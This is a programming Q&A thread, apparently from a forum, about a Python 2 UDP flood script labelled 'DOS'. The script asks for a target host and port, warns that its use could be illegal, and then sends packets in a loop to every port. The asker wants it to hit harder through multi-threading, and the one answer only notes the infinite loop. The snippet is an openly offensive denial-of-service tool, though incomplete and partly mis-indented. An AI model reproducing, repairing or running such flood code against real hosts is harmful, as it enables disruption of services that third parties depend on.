0

Hey How come this sends so many packets but fail to achieve anything? I know port scanner is unnecessary but I need that for future development of the tool. I would like the for loops to run simultaneously but I couldn't find a way to multi-thread.

def DOS():

    try:

        ask = raw_input("[+]  Do you know the open ports you are trying to attack(YES/NO)  : ")

        if ask.upper() == "NO":
            #opens port scanner
            print ("[+]  Loading port scanner for you  : ")
            time.sleep(1)
            PORT_SCANNER()

        elif ask.upper() == "YES":
            HOST = raw_input("[+]  Enter address  : ")
            PORT = int(raw_input("[+]  Enter port, use port scanner to find open ports : "))

            s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)            
            #confirmation

            #I am not liable for any action as a result this program
            sure = raw_input("[+]  ARE YOU SURE?, THIS COULD BE ILLEGAL(YES/NO  : ")

            if sure.upper() == "YES":
                sent = 0
                while 1 == 1:
                    for x in range(1,65500):
                    s.sendto(DOS_TEXT, (HOST, x))
                    s.sendto(packet, (HOST, PORT))
                    s.sendto(VBN, (HOST, x))
                    sent = sent + 3
                for no in range(1,1025):
                    s.sendto(Thi_s, (HOST, x))
                    sent = sent + 1
                for xn in range(20000,40000):
                    s.sendto(THIS, (HOST, x))
                    sent = sent + 1

1 Answer 1

0

You have an infinite loop:

    ...            
        while 1 == 1: # Here is the problem
            for x in range(1,65500):
                s.sendto(DOS_TEXT, (HOST, x))
                s.sendto(packet, (HOST, PORT))
                s.sendto(VBN, (HOST, x))
                sent = sent + 3
            for no in range(1,1025):
                s.sendto(Thi_s, (HOST, x))
                sent = sent + 1
            for xn in range(20000,40000):
                s.sendto(THIS, (HOST, x))
                sent = sent + 1

Just removing this line if possible, or add a break to the loop structure.

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge you have read our privacy policy.